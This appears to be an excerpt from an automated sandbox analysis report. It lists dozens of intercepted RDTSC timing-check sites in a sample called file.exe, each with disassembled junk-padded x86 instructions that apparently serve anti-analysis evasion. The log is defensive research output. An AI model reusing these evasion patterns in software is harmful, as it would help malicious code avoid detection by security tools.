Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADCA0 second address: 11ADCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F9934C73DD9h 0x0000000f jmp 00007F9934C73DD3h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADCC5 second address: 11ADCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADE59 second address: 11ADE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE28A second address: 11AE2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F9934D1A6B7h 0x0000000a push edi 0x0000000b jmp 00007F9934D1A6ACh 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push edx 0x00000017 pop edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B31BC second address: 11B31F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F9934C73DD6h 0x0000000b jmp 00007F9934C73DD5h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B31F5 second address: 11B31FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B31FD second address: 11B3208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9934C73DC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3208 second address: 11B322E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9934D1A6B6h 0x00000008 jp 00007F9934D1A6A6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B322E second address: 11B3232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B245D second address: 11B2461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2461 second address: 11B2469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B25C0 second address: 11B25C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B28AA second address: 11B28BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9934C73DC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2A59 second address: 11B2A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B54DE second address: 11B54ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F9934C73DC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BABA2 second address: 11BABAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9934D1A6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BABAC second address: 11BABB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007F9934C73DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BABB8 second address: 11BABCC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9934D1A6AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BABCC second address: 11BABD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BABD2 second address: 11BABD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAD2A second address: 11BAD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAD2E second address: 11BAD38 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9934D1A6A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB048 second address: 11BB054 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9934C73DCEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBE9D second address: 11BBEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BBEA1 second address: 11BBEB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC483 second address: 11BC487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC6D6 second address: 11BC6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC6DC second address: 11BC6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C43B1 second address: 11C43CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCCh 0x00000007 pushad 0x00000008 jmp 00007F9934C73DCBh 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C451B second address: 11C454B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F9934D1A6B4h 0x0000000e pop edi 0x0000000f push ecx 0x00000010 jnp 00007F9934D1A6A6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jp 00007F9934D1A6A6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4C42 second address: 11C4C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9934C73DC6h 0x00000009 jno 00007F9934C73DC6h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE6C1 second address: 11CE6D5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9934D1A6A6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCD27 second address: 11CCD5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F9934C73DCFh 0x0000000b js 00007F9934C73DC6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pop edi 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9934C73DD2h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD039 second address: 11CD053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6ABh 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b jbe 00007F9934D1A6A6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD053 second address: 11CD064 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9934C73DCCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD064 second address: 11CD06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD1B7 second address: 11CD1C8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9934C73DC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD1C8 second address: 11CD1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD1D3 second address: 11CD1D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD4AE second address: 11CD4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD4B2 second address: 11CD4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b js 00007F9934C73DC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD4C3 second address: 11CD4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD4C7 second address: 11CD4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F9934C73DD7h 0x0000000e pop ebx 0x0000000f jng 00007F9934C73DDAh 0x00000015 jmp 00007F9934C73DCEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD5FC second address: 11CD60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jnp 00007F9934D1A6A6h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC42F second address: 11CC433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D40DC second address: 11D40E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E1A second address: 11D3E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E1E second address: 11D3E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E22 second address: 11D3E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E2A second address: 11D3E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F9934D1A6A6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E37 second address: 11D3E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jnl 00007F9934C73DC6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jnp 00007F9934C73DC8h 0x00000018 pushad 0x00000019 popad 0x0000001a jns 00007F9934C73DC8h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F9934C73DCFh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E6C second address: 11D3E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3E70 second address: 11D3E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D573F second address: 11D575C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D575C second address: 11D5763 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5763 second address: 11D5783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9934D1A6B9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5783 second address: 11D5787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1FED second address: 11E1FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1FFA second address: 11E1FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1FFE second address: 11E200C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F9934D1A6A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2124 second address: 11E2133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934C73DCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4EEB second address: 11E4F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9934D1A6B4h 0x0000000e jmp 00007F9934D1A6B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F33FC second address: 11F3400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3400 second address: 11F3408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F3408 second address: 11F3412 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9934C73DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6676 second address: 11F66AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F9934D1A6A8h 0x0000000b pushad 0x0000000c jmp 00007F9934D1A6B6h 0x00000011 jnp 00007F9934D1A6A6h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jno 00007F9934D1A6A6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F66AD second address: 11F66B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDE28 second address: 11FDE50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F9934D1A6AAh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDE50 second address: 11FDE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934C73DCDh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDE63 second address: 11FDE77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007F9934D1A6A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F9934D1A6A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC8D2 second address: 11FC8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F9934C73DD4h 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC8F2 second address: 11FC8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCB82 second address: 11FCBA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCDh 0x00000007 jg 00007F9934C73DC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F9934C73DCBh 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCBA6 second address: 11FCBCA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9934D1A6ACh 0x00000008 jno 00007F9934D1A6A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edx 0x00000012 jmp 00007F9934D1A6B0h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCBCA second address: 11FCBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F9934C73DD1h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCBE4 second address: 11FCBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDAE6 second address: 11FDB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007F9934C73DCAh 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9934C73DCFh 0x00000014 push ecx 0x00000015 jmp 00007F9934C73DD1h 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDB1C second address: 11FDB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF793 second address: 11FF7AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F9934C73DD2h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FF7AF second address: 11FF7DE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9934D1A6BAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F9934D1A6A6h 0x00000010 jmp 00007F9934D1A6ABh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12019FD second address: 1201A02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201A02 second address: 1201A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120466B second address: 1204673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204673 second address: 1204699 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F9934D1A6A6h 0x00000013 jne 00007F9934D1A6A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204699 second address: 12046C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9934C73DD5h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12046C4 second address: 12046DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12046DC second address: 120470C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9934C73DD8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204315 second address: 1204332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9934D1A6AEh 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9934D1A6A6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204332 second address: 1204336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204336 second address: 1204347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204347 second address: 120436A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9934C73DDDh 0x00000008 jbe 00007F9934C73DC6h 0x0000000e jmp 00007F9934C73DD1h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120436A second address: 120436E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120436E second address: 1204372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220978 second address: 122097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122097E second address: 1220982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
